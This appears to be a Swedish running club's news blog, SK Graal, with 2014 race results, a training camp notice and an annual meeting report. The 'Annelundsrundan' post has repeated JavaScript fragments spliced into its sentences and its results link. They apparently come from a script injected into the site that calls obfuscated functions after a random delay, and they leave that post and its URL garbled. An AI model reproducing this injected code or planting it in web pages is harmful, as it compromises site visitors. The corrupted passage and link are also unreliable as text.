Graal invaderade Hallaryd

Posted on 22 april, 2014 by | Kommentarer inaktiverade för Graal invaderade Hallaryd

20140421_123325Inte mindre än 45 stycken Graalare stod på startlinjen när Hallarydsloppet avgjordes på Annandagen. Det är härligt att se alla gulgröna löpare som fyllde den gamla skolgården i Hallaryd. Troligen är detta rekord på antal deltagare från SK Graal på en tävling, i samband med Sunnerboklassikern är det i alla fall det.

Tävlingarna inleddes som vanligt med de yngsta tävlingsklasserna 8-, 10- och 12 åringar som sprang 1200 meter. Först i mål var den inte helt ovane segraren Oskar Karlsson som därmed tog hem P12 klassen. Närmaste Graalare efter honom var Elias Ringström som därmed tog hem tredjeplatsen i samma klass. Nästa Graalare i mål var Hugo Jensen som därmed vann P10 klassen. Bara 9 sekunder senare rusade Celine Aagaard i mål och säkrade därmed Graals tredje vinst på mindre än en minut. Ytterligare Graalmedaljörer på den kortaste banan togs av Linnea Ringström, 3:a i F10, Lovisa Ringström, 3:a i F8 samt Mio Nilsson, 3:a i P8.

Totalt sprang 16 Graalare den korta banan.

De lite äldre ungdomarna (13-16 år) sprang 3 200 meter och här är det lite tunnare med Graalare, men Lovisa höll flaggan högt och försvarade Graalfärgerna genom att vinna F16 klassen.

20140421_121354För de vuxna fanns det 6, 9,8 eller 21 km att välja mellan, och vi börjar väl nerifrån.

I damklassen över 6 km var det dubbelt Biesert på pallen. Storasyster Maria vann medan lillasyster Jenny tog hem tredjeplatsen. Närmast utanför pallen hittar vi även Linda Persson.

Bland herrarna visade Mats Karlsson att han fortfarande har fin talang och sprang in på tredje plats, minuter före Sasa Stanic (5:a) och ytterligare en minut före Peter Helgsson (6:a).

Milbanan lockade nio Graalare, snabbast av dessa var Tobias Omö-Bergkvist som sprang in på 8:e plats på drygt 41 minuter. Boris Josefsson fick också revansch på Stefan Häll från Annelundsrundan. 1-1 i den matchen nu.
20140421_121902Halvmaratonbanan är relativt kuperad och det är inte lätt att göra snabba tider här, men av de fem Graalarna på startlinjen gjorde fyra riktigt fina lopp. Niklas Lundh tvingades däremot bryta.

Snabbaste Graalare blev Jonas Almarsson (4:a totalt) som gick in på fina 1.20.29 medan Ola Hanzon (7:a) äntligen fick till det på en tävling och sprang in på finfina 1.24.59. Även Daniel Evaldsson gjorde ett fullt godkänt lopp och gick in på 1.26.12.

top: 0.4em; background-color: #eeeeee;” src=”https://www.skgraal.se/wp-content/uploads/2014/04/20140421_122805-192×300.jpg” alt=”20140421_122805″ width=”192″ height=”300″ />

Damklassen vanns av Annika Bardh som hade koll på tiden och sprang in under en och en halv timme på 1.29.35.

Det lovar riktigt gott inför Göteborgsvarvet om några veckor som brukar kunna gå ett par minuter snabbare än Hallarydsloppet rätt kuperade bana.

Samtliga Graalresultat hittar du här.

20140421_122441 20140421_122325 20140421_121354 20140421_115802 20140421_115713 20140421_115631

Kommentarer inaktiverade för Graal invaderade Hallaryd

Posted in Tävlingsrapporter

Jenny satte nytt banrekord i Kalmar

Posted on 13 april, 2014 by | Kommentarer inaktiverade för Jenny satte nytt banrekord i Kalmar

kalmarVårsäsongen är på gång och några lopp har redan avverkats.

Jenny Biesert åkte till Kalmar för att deltaga i vårpremiären för östra Småland och Skälbyloppet. Loppet som sådan slog nytt deltagarrekord för andra året i rad och Jenny slog in på rekordvägen och krossade det gamla banrekordet på 4 km banan med hela 41 sekunder när hon sprang in på fina 15:49, i och med det var hon över minuten före nästa snabbaste dam på korta sträckan.

Vi på webbredaktionen gratulerar Jenny till segern!

Kommentarer inaktiverade för Jenny satte nytt banrekord i Kalmar

Posted in Tävlingsrapporter

Många fina resultat på Annelundsrundan

Posted on 23 mars, 2014 by | Kommentarer inaktiverade för Många fina resultat på Annelundsrundan

Tävlingssäsongen är igång på allvar och inte mindre än 34 Graalare dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog chansen att testa vårformen på Annelundsrundan i Ljungby under lördagen.

Först ut var de yngsta klasserna som sprang 1100 meter och överlägset snabbast och 23 sekunder före alla dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra ungdomar var Graals egen Oskar ”Snabbfot” Karlsson som sprang i mål redan efter 3.27, och naturligtvis seger i P12. Nästa löpare att komma i mål var en 14-åring från Markaryd.

Därefter följde ett koppel löpare som sprang in runt 4 minuter och där hittar vi bldom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and annat Celine Aagaard som på tiden 3.57 enkelt sprang hem F8. Lite för ovanlighetens skulle fick hon faktiskt stryk av tre tjejer från både F10 och F12, men de är ju betydligt större än lilla Celine.

Andra fina ungdomsresultat från Graalarna hittar vi en Hugo (med okänt efternamn) som blev tvåa i P10 på 4.01 samt Mio Nilsson och Vigor Josefsson som blev trea respektive fyra i P8.

Bldom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and de lite äldre löparna hittar vi också några fina Graalplaceringar. På den korta banan (5,1 km) sprang Maria Biesert snabbt och dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog en dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra plats med 20.10. Även unga Lovisa Bardh gjorde en bra insats på en så lång bana när hon sprang in på sjunde plats på 20.48. Det var jämnt i damklassen där de sju första löparna sprang in inom 1.10.

På korta herrbanan sprang Calle Bladh-Johansson in som trea på 18.29 och därefter var det hårt mellan Graalarna som dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog fem platser av sex mellan placering sex och elva. De var i nämnd ordning: Peter Helgsson, Geert Masseling, Thim Isaksson som spurtslog Stefan Häll (fem sek) och Boris Josefsson.

På den långa banan över 10 km sprang både Jonas Almarsson och Niklas Lundh riktigt bra. Jonas kutade in på fina 35.50 vilket räckte till en fjärdeplats, medan Niklas slog nytt milpers för dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andra helgen i rad när han gick i mål på 36.53. Ola Hanzon hade en lite tyngre dag, men sprang ändå in på fina 38.59.

För övriga Graalresultat hänvisar vi till den dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totala resultatlistan på
dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonline.se/ImageVaultFiles/id_597698/cf_69694/Resultat_Annelundsrundan_2014.PDF” target=”_blank”>http://www6.idrotdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonline.se/ImageVaultFiles/id_597698/cf_69694/Resultat_Annelundsrundan_2014.PDF

 

 

Kommentarer inaktiverade för Många fina resultat på Annelundsrundan

Posted in Tävlingsrapporter

Tre personbästan i Helsingborg

Posted on 17 mars, 2014 by | Kommentarer inaktiverade för Tre personbästan i Helsingborg

Helsingborgs-SeedningsloppLöparsäsongen börjar så smått rulla igång och i helgen sprangs det seedningslopp inför Göteborgsvarvet i Helsingborg. SK Graal hade sex löpare på plats varav tre satte nya prydliga pers på milen.

Första tävlingen för året är alltid lite extra nervös, och det är svårt att veta vilken kapacitet man har. Det gjorde att många öppnade lite för hårt, vilket de fick betala för mot slutet.

En av dessa var Niklas Lundh som trots stumnande ben kunde springa imål först av Graalarna, och som 17:e löpare totalt på tiden 37.31, ett nytt pers med runt 1 minut. Med lite mer kontrollerat öppningstempo kan Niklas springa riktigt bra i sommar.

Nästa Graalare att passera mållinjen blev Tobias Omö-Bergkvist som även ha kapade runt minuten på sitt gamla pers och gick i mål på 42.56. Den tredje och sista topptiden för Graalarna svarade Boris Josefsson för när även han persade med runt minuter och gick in på 45.44. Idel fina tider som lovar gått inför säsongen.

Även Sofia och Peter Dahl samt Josefin Lindberg deltog i loppet och sprang in på tider mellan 55-58 minuter.

 

Kommentarer inaktiverade för Tre personbästan i Helsingborg

Posted in Okategoriserade

Träningsläger i Mellbystrand

Posted on 12 mars, 2014 by | Kommentarer inaktiverade för Träningsläger i Mellbystrand

26-27 april blir det träningsläger för SK Graal i Mellbystrand/Laholm.
Lägret vänder sig till alla aktiva, knattar(endast lördag) ungdomar och alla andra som vill spetsa formen inför vårens tävlingar.
Övernattning blir i fyrbäddsstugor i Bengts stugby Norra strandvägen 1 Mellbystrand. Vi vill ha in anmälningarna senast 10/4. Anmälan kan endast göras på Graals hemsida under tävlingsanmälan! Anmäl er i god tid! Notera vid anmälan om övernattning önskas eller inte. Anmälan är bindande och debitering utförs för ej utnyttjade sängplatser.
Upplägget blir som följer:
Lördag
09,00 Avfärd från Graalstugan mot Laholm.
10,00 Intervallträning på Sparbanksvallen i Laholm. Ledare: Knattegr. Tomas K, Ungdomsgr. Håkan W, Utvecklings/motionsgr. Jonas A & Lars H
12,00 Incheckning på Bengts stugbyar.
12,30 Lunch på Bengts stugbyar.
15,30 Distanspass på Hökafältet Ledare: Knattegr. Tomas K, Ungdomsgr. Håkan W, Utvecklings/motionsgr. Jonas A & Lars H. Avslutning för knattar efter avslutat pass.
18,30 Pizza!!!!
Söndag
08,00 Frukost och städning av boende.
10,00 Långpass på Hallandsåsen med start från Wretströms stuga, Hedhusvägen 69 Skummeslöv. Därefter hemfärd.
Graal står för kostnader för boende, lunch, frukost. (Även pizzan för ungdomarna).
OBS! Stugorna är utrustade för självhushåll. Lakan, örngott, påslakan måste du som gäst själv ta
med dig. Sovsäck är förbjuden!
Frågor: kontakta Tomas 0433-17418, 070-4802981 eller Lars 0433-21781, 070-3050967.

Kommentarer inaktiverade för Träningsläger i Mellbystrand

Posted in Okategoriserade

Ola och Sasa invigde säsongen

Posted on 10 mars, 2014 by | Kommentarer inaktiverade för Ola och Sasa invigde säsongen

Ola Hanzon och Sasa Stanic blev de första att inviga utomhussäsongen 2014 i och med sitt deltagande på Maxilöpet i Bromölla.

Maxilöpet och Bromölla brukar bjuda på flacka och snabblöpta banor och även om man i år bjöd på en ny bansträckning så var det snabblöpt. Att vårsolen dessutom äntligen hittat fram gjorde inte saken sämre.

Såväl Ola som Sasa har kämpat på bra med träningen i vinter, vilket också visade sig i resultatlistan där Ola nådde mållinjen efter 10 km löpning som fjärde löpare på 38.40.

Sasa imponerade stort och klarade sin målsättning att gå under 40 med god marginal och kunde springa in i mål minuter efter Ola på en 6:e plats.

En mycket stark inledning på säsongen av de båda herrarna.

Ola

Ola såg rätt pigg ut…

sasa

…medan Sasa verkade slita lite hårdare.

 

Kommentarer inaktiverade för Ola och Sasa invigde säsongen

Posted in Tävlingsrapporter

Ny hemsida

Posted on 3 mars, 2014 by | Kommentarer inaktiverade för Ny hemsida

Jag jobbar just nu med att installera en ny hemsida till SK Graal. Det kommer troligtvis ta någon dag, men tills vidare får du hålla till godo med det som finns här.

Den som väntar på något gott…

/Daniel

Kommentarer inaktiverade för Ny hemsida

Posted in Okategoriserade

Debutanterna Graal blev bästa Kronobergslag i Stafettvasan

Posted on 3 mars, 2014 by | Kommentarer inaktiverade för Debutanterna Graal blev bästa Kronobergslag i Stafettvasan

 

top: 0.4em; background-color: #eeeeee;” alt=”Stafettvasan_Graal” src=”https://www.skgraal.se/wp-content/uploads/2014/03/Stafettvasan_Graal-300×225.jpg” width=”300″ height=”225″ />

Idag har det varit en historisk dag i SK Graal. Vi har debuterat i StafettVasan, och som de körde.
Bland de drygt 1300 anmälda lagen som skulle dela upp sträckan mellan Sälen och Mora på fem stäckor hade Graalarna den blygsamma målsättningen att bli bland de 1000 bästa, men det skulle visa sig bli mycket bättre än så.

Först ut från Berga by gav sig Leif Axelsson ut. Trots lite bakhala skidor så kämpade han på bra och passerade Smågan som 975 åkare och kunde sedan sträcka ut över myrarna mot Mångsbodarna och köra om ytterligare 19 personer och lämna över ansvaret för Graals färger till Jan-Willy som fick börja sin tur med en lång utförskörning ner mot Tenäng, men därefter bär det uppför mot först Risberg där han passerar som 962 och sedan till Evertberg där han kan växla över till Jonas Almarsson som 983:e lag.

Jonas kastade sig utför backarna efter Evertsberg som värsta störtloppsåkaren och noterades lagets bästa km-tid och kunde på en knapp timmes åkning till Oxberg fräsa om närmare 150 lag och nu var Graal uppe på en 834 plats. Här lämnades ansvaret över till ett par nyförvär, invärvade från nordligare bygder, nämligen Leifs släktingar Lennart och Mikael. Födda och uppvuxna med skidor på fötterna i trakterna kring Älvdalen skulle de visa hur det går till att åka skidor. Och vilken lektion de gav. Mikael körde blott 9 km från Oxberg till Högberg, men han gör det som 53:e snabbaste åkare på sträckan och på 36 minuters åkning plockar han ytterligare runt 150 placeringar och vid växeln var planen att lämna över ansvaret till Lennart på plats 686, men det skulle visa sig att Jonas och Mikael kört så fort att Lennart inte lyckats ta sig igenom trafikstockningen utmed vägen utan kom cirka 10 minuter för sent till växlingen. Tämligen surt att tappa ett 30 tal placeringen på en sådan fadäs. Men när Lennart väl kom ut i spåren gick det desto fortare och han hade snart passerat de åkare som gett sig iväg medan han satt fast i bilköerna och till slut kunde han passera in under den välkända portalen ”I fädrens spår för framtids segrar” som 654 lag efter att Graalarna varit ute i 6 timmar 58 minuter och 55 sekunder… eller det är den officiella tiden, 10 minuter av den tiden var ju faktist inte laget på skidor… men det får man inget avdrag för.

För er som sett de vattenfyllda spåren på TV den senaste veckan rapporterar åkarna att spåren var perfekta och att det inte syntes till några vattensjuka spår överhuvudtaget. Samtliga tog sig imål torrskodda.

Just det, och så var det ju det där med bästa Kronobergslag också… Graal var enda laget från Kronobergs län som deltog…

Kommentarer inaktiverade för Debutanterna Graal blev bästa Kronobergslag i Stafettvasan

Posted in Tävlingsrapporter

Årsmötet gick enligt planen

Posted on 1 februari, 2014 by | Kommentarer inaktiverade för Årsmötet gick enligt planen

2014-01-30 20.42.43SK Graals årsmöte som hölls under torsdagskvällen lockade knappt 30 medlemmar som fick en sammanställning av vad som hänt under året och möjlighet att påverka föreningens framtid. En möjlighet som dock inte skapade några diskussioner utan valberedningens förslag godtogs genomgående med rungande ”Ja!”.

SK Graals styrelse omvaldes i sin helhet med undantag av Tomas Karlsson som avtackat sig omval efter drygt 10 år i styrelsen och vill i framtiden hellre engagera sig mer i ungdomsträningen. Som ersättare för Tomas valdes Linda Persson in istället. Styrelsen består därför i fortsättningen av ordförande Daniel Evaldsson och kassör Jan-Willy Evaldsson samt ledamöterna Annika Hansen, Jonas Almarsson, Linda Persson, Marina Klerestig samt Torgny Biesert.

Efter de sedvanliga årsmötesförhandlingarna förärades några extra framstående Graalare under året och i år gick priset Oves Minne till Emma Andersson, priserna som Årets löpare respektive Ungdomslöpare gick till Jonas Almarsson och Celine Aagaard. Dessutom fick Oskar Karlsson och Anton Wretström hedersomnämnanden för sina fina resultat under året. Ett tiotal ungdomar prisades också för sin träningsflit.

Kommentarer inaktiverade för Årsmötet gick enligt planen

Posted in Övrigt

Daniel tog brons på IVDM

Posted on 1 februari, 2014 by | Kommentarer inaktiverade för Daniel tog brons på IVDM

Veteran-DM inomhus lockar en del löpare i framför allt de äldre klasserna, men även Daniel tog chansen och sprang 3000m i M35-klassen under lördagseftermiddagen.
Daniel hade som målsättning att gå under 10 minuter, och hade lagt upp ett schema som dock bara höll i drygt två av de 15 varven. ”Flytet fanns inte riktigt där, men jag är nöjd ändå”, summerar Daniel loppet som räckte till en bronsmedalj och tiden 10.52.

Kommentarer inaktiverade för Daniel tog brons på IVDM

Posted in Tävlingsrapporter